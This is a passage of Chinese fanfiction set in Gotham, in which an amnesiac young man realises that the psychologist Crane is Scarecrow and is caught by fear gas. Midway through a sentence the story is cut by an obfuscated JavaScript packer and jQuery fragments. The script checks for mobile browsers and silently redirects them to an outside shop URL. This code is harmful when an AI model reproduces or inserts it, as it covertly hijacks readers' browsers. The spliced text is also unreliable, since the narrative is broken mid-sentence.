半小时前,杜谦心情尚可,他刚从图书馆出来,有了一定的自保能力,如果顺利的话接下来还能够获得一些关于失忆症的线索。

    和“好运气”三个字一样,“顺利”二字和杜谦也没有什么关系。

    “又见面了,杜谦。”克莱恩没有错过面前青年眼中一闪而过的惊惧,嘴边的笑意略微加深。

    他知道、他知道自己是稻草人,他果然知道。

    “啊,嗨,您好,我们今天凌晨才见过呢,”杜谦很快管理好了表情,内敛地打招呼,用略显疑惑的语气问,“您怎么在这里?”

    “说来也巧,”克莱恩再度笑了下,他做了个手势邀请杜谦在对面的那张椅子上坐下,就像他凌晨做过的那样,“韦迪克博士不太方便,所以我来代班。”

    “噢。”

    杜谦没有动,他仍停留在门口,将整间办公室的情况映入眼底。

    韦迪克博士的办公室里堆放了不少资料,收拾得很整洁,和整间研究所的风格很一致,透露出一种高效、克制的科研气息。办公桌同样如此,桌面没有零散的物件,签字笔也都好好地收进了笔筒。

    “您可能不太清楚,我的问题有点棘手,所以海瑟威教授让我来找韦迪克博士,如果他不在的话那我下次再来,就不打扰您的时间了……”杜谦心不在焉地嘴上说着话,眼神瞟向来时的走廊,研究所守卫不多,杜谦一路走来,不超过十指之数。

    “我记得我和你说过,我在心理学方面颇有建树?不管你遇到什么问题,你都可以跟我聊聊。”克莱恩依旧保持着恰到好处的笑容,表面完全看不出来内心在想什么。

    借口被堵了回来,杜谦大脑飞速运转,稻草人跟圣殿骑士到底是不是一伙的?

    如果不是,杜谦现在扭头就跑并呼救,就能逃过一劫。

    可是为什么凌晨时分稻草人会出现在海瑟威教授的住所?

    不,不对。

    杜谦缓缓迈步,他走进办公室,拘谨地开口道:“好吧,教授,那就打扰了……那个,我能要一杯咖啡吗。”

    克莱恩的笑容僵住了。

    “……没关系,是我唐突了,只是我从外面过来一时有些冷,不过办公室里很温暖,哈哈。”

    杜谦假装要求没得到回应尴尬地给自己圆场,他拉开椅子坐下,靠近克莱恩的桌面上摆着一杯咖啡,此时凑近看便能看出已经冷掉了,杜谦趁坐下时低头的动作眯了眯眼睛,眼中闪过一丝果然如此的神色。

    稻草人或许和圣殿骑士有合作……但无论如何,稻草人此举海瑟威教授绝对不知情。

    “抱歉,研究所的咖啡机坏了——”克莱恩露出一个歉意的笑,随即他就注意到自己手边的咖啡,急忙补充,“在我冲完这杯之后。”

    杜谦的判断没错,从进门的第一眼起,他就觉得整间办公室与这位写作克莱恩读作稻草人的鸠占鹊巢之人之间,透露出一种违和感。简单来说就好像一个人在自己家和别人家的状态会有所不同,后者肢体会呈现更不自然的状态。

    况且桌面整洁,要是真如克莱恩所说是来代班的,他和韦迪克博士熟到这份上,那他不可能只是在这里呆坐着。

    为了保险起见,杜谦抛出了一个问题试探,不出所料,克莱恩确实不知道咖啡机在哪。

    办公室是韦迪克博士的没错,韦迪克博士本人不知去向,可能已经被稻草人干掉,或者恰好不在被稻草人趁虚而入。研究所依旧正常运作,稻草人是以和平方式进来的,情况已经明了。

    稻草人瞒着合作伙伴,要对自己下手。

    而杜谦恰好知道个中原因,他撞破了稻草人的踪迹——最近这位精神病可是在哥谭兴风作浪还从蝙蝠侠的追捕下逃脱,不得不说杜谦也确实存在想向搅局者透点口风的想法,不然他没事干答应别人的晚餐干嘛,为了自己着想——再说这也是为哥谭和平做贡献。

    总之稻草人要灭口,并且先一步来到这里守株待兔。

    生死关头,杜谦思考速度飞快,顷刻间想通了关键,并想到了转圜之法。

    首先是强调自己并不知晓稻草人的身份。

    当初就应该忍忍的,饿一会算什么,又死不了——不像现在。

    杜谦勉强弯了弯唇角,他低声地说:“是关于我脑子的问题,我记不得过去的事,或许不止,我可能失去了更多,我感觉自己像在退化,逐渐变成一个婴儿,不谙世事。”

    克莱恩的蓝眸闪动:“我很遗憾,孩子,但你没有考虑过这也许是你心理上的原因?”

    杜谦抬头:“我不知道,教授,”他要强调自己对圣殿骑士还有用,令稻草人心怀顾忌放弃行动,“我做过很多检查,其中应该包含了心理评估,不仅如此,海瑟威教授也认为如果世间能有一人解决我的病症,那个人只能是韦迪克博士——不好意思,我的意思是您精通心理学,但我的病……它不太一样。”

    “或许下次来你就能看见他,”克莱恩安抚性地笑笑,这张麻袋之下的的脸就像一名精英检察官什么的,精明、理智、伪善

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868527|212241||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,和精神病反派搭不上一点关系,如果杜谦没看过DC漫画,他一定就傻乎乎地被骗了,“抱歉我没有体会过失忆的感觉,但我相信那一定不好受,如果你不介意的话,就当是预约了一次心理医生,聊聊天有助于压力释放。”

    杜谦下意识挂上从克莱恩脸上学来的假笑。

    “其实我心情不错。”

    该死的稻草人到底想要干嘛?

    克莱恩看了眼杜谦的黑眼圈和由内而外散发出的颓丧气息,笑而不语,过了片刻才开口,语调低沉:“我相信你,但我知道你的内心深处一定隐藏着连你自己都想象不出来的恐惧,这份恐惧如此庞大、瘆人,你或许也一并忘了,但这正是你的大脑在保护你……人类总是在做自欺欺人的事,对吗?”

    “又比如说,你现在在做什么,杜谦?”

    克莱恩抱起手,上半身往前探,透蓝眼眸略抬,满怀兴味地盯着杜谦脸上一闪而过的惊愕。

    “您在说什么……”

    “停下,”克莱恩声音冷了下来,“徒劳罢了。”

    杜谦缓缓将手从手机屏幕上移开,界面停留在通讯录,他轻声道:“您早就知道了,教授。”

    “你隐藏的不算很好,”克莱恩依旧和蔼地解答杜谦的问题,“但我注意到的不是你那拙劣的演技,我见到了你内心的恐惧,或许你自己没有发觉,但我从见到你的第一眼就知道。”

    克莱恩叹息着从杜谦手中拿走手机,语气不紧不慢:“你是个聪明的孩子,你知道没有人会在意你,这意味着没人会来救你……GCPD,你应该明白在哥谭不能指望这个吧?蝙蝠侠?现在还是白天呢……哦,还有海瑟威教授,你刚刚一直在暗示我,但我不在乎,还有,你觉得他真的是好人?”

    克莱恩头也不回地将那台手机往后一抛,手机越过窗台,杜谦的视线不由得追随那个小小的方块,眼睁睁地看着自己刚买两个小时的新手机从二十楼摔下去,粉身碎骨。

    杜谦猛地转回视线,映入眼帘的是一个磨损严重的麻布袋,撕裂的纤维抽象出一副诡异的五官。

    他瞪大眼睛,旋即下意识屏住了呼吸,稻草人见到杜谦的动作,喉头中滚出一串咯咯的笑声。

    “呵呵呵呵,太晚了,呵呵呵呵呵呵,你还没意识到吗……”

    恐惧毒气早已布下!

    杜谦觉得有什么东西就要从心脏喷涌而出,他的脸色唰一下变白,他感觉恐惧正在蚕食着他的躯体、他的意志,而这一切来得如此猛烈且出乎意料。